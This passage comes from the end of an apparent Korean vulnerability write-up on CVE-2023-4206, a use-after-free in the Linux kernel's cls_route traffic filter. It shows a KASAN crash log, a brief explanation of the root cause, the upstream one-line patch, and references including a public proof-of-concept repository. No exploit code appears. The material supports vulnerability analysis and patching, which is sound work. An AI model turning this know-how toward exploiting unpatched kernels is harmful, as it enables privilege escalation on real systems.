63[  143.387444] Allocated by task 1066:
64[  143.389190] 
65[  143.390680] Freed by task 1066:
66[  143.392354] 
67[  143.393702] The buggy address belongs to the object at ffff8880befd8000
68[  143.393702]  which belongs to the cache kmalloc-1k of size 1024
69[  143.397306] The buggy address is located 120 bytes inside of
70[  143.397306]  1024-byte region [ffff8880befd8000, ffff8880befd8400)
71[  143.400925] 
72[  143.402457] The buggy address belongs to the physical page:
73[  143.404317] 
74[  143.405770] Memory state around the buggy address:
75[  143.407522]  ffff8880befd7f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc c
76[  143.409538]  ffff8880befd7f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc c
77[  143.411521] >ffff8880befd8000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb b
78[  143.413495]                                                                 ^
79[  143.415488]  ffff8880befd8080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb b
80[  143.417504]  ffff8880befd8100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb b
81[  143.419484] =================================================================
82[ 3117.724698] I/O error, dev fd0, sector 0 op 0x0:(READ) flags 0x0 phys_seg 1 0
83[ 3278.385810] I/O error, dev fd0, sector 0 op 0x0:(READ) flags 0x0 phys_seg 1 0

Patch #

이 취약점은 필터를 교체할 때 상기에 설명한 res 멤버 변수를 복사한 것으로 인해 발생하였다. 이에 패치는 이 코드를 삭제하는 방식으로 진행되었다[4].

 1diff --git a/net/sched/cls_route.c b/net/sched/cls_route.c
 2index d0c53724d3e86..1e20bbd687f1d 100644
 3--- a/net/sched/cls_route.c
 4+++ b/net/sched/cls_route.c
 5@@ -513,7 +513,6 @@ static int route4_change(struct net *net, struct sk_buff *in_skb,
 6  if (fold) {
 7      f->id = fold->id;
 8      f->iif = fold->iif;
 9-     f->res = fold->res;
10      f->handle = fold->handle;
11
12      f->tp = fold->tp;

References #

  1. "CVE-2023-4206 Detail." nvd.nist.gov, Accessed: Aug. 30, 2026. [Online]. Available: https://nvd.nist.gov/vuln/detail/cve-2023-4206
  2. Linus Torvalds et al., "Linux kernel", (Version 5.18) [Source Code]. https://github.com/torvalds/linux
  3. st424204, Bing-Jhong, and Bily Jheng, "CVE-2023-4206_ltscos." github.com, Accessed: Aug. 30, 2026. [Online]. Available: https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4206_lts_cos
  4. valis, "net/sched: cls_route: No longer copy tcf_result on update to avoid use-after-free." git.kernel.org, Accessed: Aug. 30, 2026. [Online]. Available: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b80b829e9e2c1b3f7aae34855e04d8f6ecaf13c8
last updated: